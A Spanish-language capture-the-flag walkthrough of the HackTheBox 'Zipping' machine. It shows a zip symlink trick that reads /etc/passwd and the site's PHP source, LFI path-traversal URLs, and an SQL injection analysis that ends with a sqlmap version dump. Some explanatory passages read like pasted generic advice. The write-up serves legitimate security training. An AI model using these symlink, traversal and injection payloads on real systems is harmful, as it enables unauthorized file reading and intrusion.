Skip to content

Zipping

Walkthrough Máquina “Zipping” - HackTheBox

Escaneo Inicial

Al lanzar nmap, nos encontramos con los siguientes servicios:

  • Puerto 80: Servidor web HTTP
  • Puerto 22: Servidor SSH

Análisis Web

Al inspeccionar la web, encontramos dos paginas interesantes:

Página de tienda

Existe una tienda con URLs dinámicas que muestran diferentes páginas:

  • http://10.10.11.229/shop/index.php?page=products → Página de productos
  • http://10.10.11.229/shop/index.php?page=cart → Página del carrito

Además, la página “products” acepta otro parámetro adicional:

  • http://10.10.11.229/shop/index.php?page=products&id=3

Página “Trabaja con Nosotros”

  • http://10.10.11.229/upload.php

En esta página, la web nos permite subir un archivo ZIP que debe contener obligatoriamente un PDF (simulando un currículum).

Dado que la máquina se llama “zipping”, esta función parece prometedora y es el primer lugar en donde realizaremos pruebas más profundas para tratar también de reducir el tiempo de resolución.

Cabe notar que estamos ante un servidor apache en ubuntu.

Funcionalidad de carga de currículum:

Tal y como explica la pagina, vamos a probar de subir un pdf en un zip.

Cuando subimos el zip nos devuelve un mensaje de este tipo:

File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:
uploads/e132091134c51bf9bcab1f62f6f91a96/curri.pdf

Y efectivamente, podemos navegar y ver el PDF en dicha ruta.

Por tanto la herramienta descomprime un zip. Veamos vulnerabilidades relacoinadas con esto:

Investigación de Vulnerabilidades

Tras revisar brevemente el código fuente de la web, encontramos un enlace al creador de la máquina:

Aprovechamos por darle las gracias por máquina, gracias xdann1 😉

A continuación vamos a buscar vulnerabilidades asociadas con archivos ZIP, encontramos información sobre:

Zip Slip

Referencia: Zip Slip – Hacking Loops

Zip Slip es una vulnerabilidad que ocurre cuando una aplicación web utiliza una librería para extraer archivos ZIP sin sanitizar adecuadamente los nombres de los archivos. Esto puede permitir escribir o sobrescribir archivos fuera del directorio esperado mediante rutas transversales (../).

Podríamos intentar subir un archivo malicioso aprovechando esta vulnerabilidad, pero existe la limitación de que solo acepta PDFs.

Referencia: Zip Symlink Vulnerability

Esta vulnerabilidad permite crear un archivo ZIP que contenga enlaces simbólicos, permitiendo leer archivos internos del servidor al extraerse.

Sabemos que la máquina es Linux, así que probaremos lo siguiente:

Terminal window
ln -s ../../../../../../../../../../../../../etc/passwd pass.pdf
zip -r --symlinks pass.zip pass.pdf

Luego subimos este archivo ZIP y visitamos el enlace proporcionado por la aplicación web. A primera vista, aparece un PDF en blanco, pero al revisar las respuestas HTTP con Burp Suite, encontramos exitosamente el contenido de /etc/passwd.

Terminal window
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:104:110:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false
_laurel:x:999:999::/var/log/laurel:/bin/false

Próximos Pasos

Ahora lo que vamos a tratar de es de analizar tanto el archivo upload.php como el archivo shop/index.php.

Terminal window
ln -s /var/html/shop/index.php shop.pdf
zip -r --symlinks shop.zip shop.pdf

Nos entrega este resultado:

<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>

Este archivo es de nuevo claramente vulnerable a LFI o local file inclusion.

$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
include $page . '.php';

Esto permite la inclusión dinámica de archivos basados en una variable pasada por el usuario ($_GET['page']).

Análisis del problema:

La aplicación toma el parámetro GET page directamente del usuario y luego lo usa en un include sin realizar ningún tipo de sanitización efectiva. La única comprobación que hace es:

file_exists($_GET['page'] . '.php')

Aunque podría parecer una validación suficiente, tiene dos problemas serios:

  1. Ausencia de filtrado:
    No verifica ni filtra rutas relativas (../), lo cual permite atravesar directorios fuera del esperado.

  2. El atacante controla directamente el valor incluido:
    Esto implica que se pueden incluir otros archivos internos del servidor si estos tienen la extensión .php.

Ejemplo práctico de explotación:

Un atacante podría manipular la petición GET de esta manera:

http://sitio.com/index.php?page=../../../../etc/passwd%00

Aunque es importante mencionar que, desde PHP 5.3.4 en adelante, el null-byte injection (%00) dejó de funcionar. Pero aun así, la inclusión es posible si se encuentran archivos PHP accesibles en otras ubicaciones, por ejemplo:

http://sitio.com/index.php?page=../../config

Si existiera un archivo llamado config.php en un directorio superior, el atacante podría incluirlo fácilmente y acceder a información sensible como contraseñas o datos críticos.

Además, si el atacante puede subir archivos al servidor (por ejemplo, archivos PDF con extensiones PHP), podría ejecutar código directamente (logrando Remote Code Execution - RCE):

http://sitio.com/index.php?page=../../uploads/malicious_file

Dicho esto, recordemos que si podemos subir archivos.

Para hacer una rápida comprobación de ello podemos usar: link http://zipping.htb/shop/index.php?page=../upload

Veremos como carga.

Ahora sigamos analizando la aplicación, otra pagina interesante encontrada es la de product.php

Tenemos este código:

<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
$id = $_GET['id'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
// Prepare statement and execute, but does not prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();
// Fetch the product from the database and return the result as an Array
$product = $stmt->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if (!$product) {
// Simple error to display if the id for the product doesn't exists (array is empty)
exit('Product does not exist!');
}
}
} else {
// Simple error to display if the id wasn't specified
exit('No ID provided!');
}
?>
<?=template_header('Zipping | Product')?>
<div class="product content-wrapper">
<img src="assets/imgs/<?=$product['img']?>" width="500" height="500" alt="<?=$product['name']?>">
<div>
<h1 class="name"><?=$product['name']?></h1>
<span class="price">
&dollar;<?=$product['price']?>
<?php if ($product['rrp'] > 0): ?>
<span class="rrp">&dollar;<?=$product['rrp']?></span>
<?php endif; ?>
</span>
<form action="index.php?page=cart" method="post">
<input type="number" name="quantity" value="1" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
<input type="hidden" name="product_id" value="<?=$product['id']?>">
<input type="submit" value="Add To Cart">
</form>
<div class="description">
<?=$product['desc']?>
</div>
</div>
</div>
<?=template_footer()?>

Este código es vulnerable a SQL Injection, a pesar de intentar validar la entrada del usuario con una expresión regular y usar sentencias preparadas. Aquí te explico claramente por qué y cómo corregirlo:

Análisis de vulnerabilidad:

Observa esta línea crítica:

$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");

La vulnerabilidad surge porque, aunque usas prepare(), no estás usando placeholders adecuadamente (? o :id). En su lugar, insertas directamente la variable $id dentro de la consulta SQL:

WHERE id = '$id'

Esto permite la inyección directa de código SQL si la validación previa (regex) no es lo suficientemente robusta.

⚠️ ¿Por qué falla la protección actual (Regex)?

El código intenta validar la entrada del usuario con una expresión regular:

if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
}

Esta regex busca:

  • Cualquier letra [A-Za-z] o caracteres especiales.
  • Cualquier cosa que no sea un dígito ([^0-9]) al final del string.

Pero esta protección podría fallar porque:

  • Es compleja y potencialmente evadible.
  • Algunos caracteres peligrosos no están contemplados explícitamente o podrían ser evadidos mediante técnicas avanzadas (por ejemplo, espacios en blanco, saltos de línea, caracteres codificados o escapados).

Adicionalmente, confiar solo en validación regex para prevenir SQL Injection es una práctica débil en seguridad web.

Ejemplo práctico de explotación:

Aunque la regex filtra bastantes casos comunes, considera el caso en que alguien pudiera insertar entradas numéricas especiales o casos inesperados como espacios en blanco o tabulaciones:

?id=1 OR 1=1

En teoría, la regex capturaría letras o símbolos, pero si alguien envía un valor numérico que contenga espacios en blanco codificados o caracteres no previstos, podría evadir el filtro.

Sin embargo, más allá de si esta regex específica puede evadirse fácilmente o no, el error fundamental está en no utilizar correctamente las consultas preparadas, dejando la aplicación expuesta a vulnerabilidades futuras o modificaciones incorrectas.

Forma correcta y segura de utilizar PDO:

Siempre debes usar prepared statements con parámetros, así:

$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$id]);

o

$stmt = $pdo->prepare("SELECT * FROM products WHERE id = :id");
$stmt->execute([':id' => $id]);

Esto garantiza que PDO maneje automáticamente la correcta escapada y sanitización de las entradas, eliminando el riesgo de SQL Injection.

Lanzamos un sqlmap jugando con todo lo dicho:

Sacamos la versión: @@version: ‘10.6.12-MariaDB-0ubuntu0.22.10.1’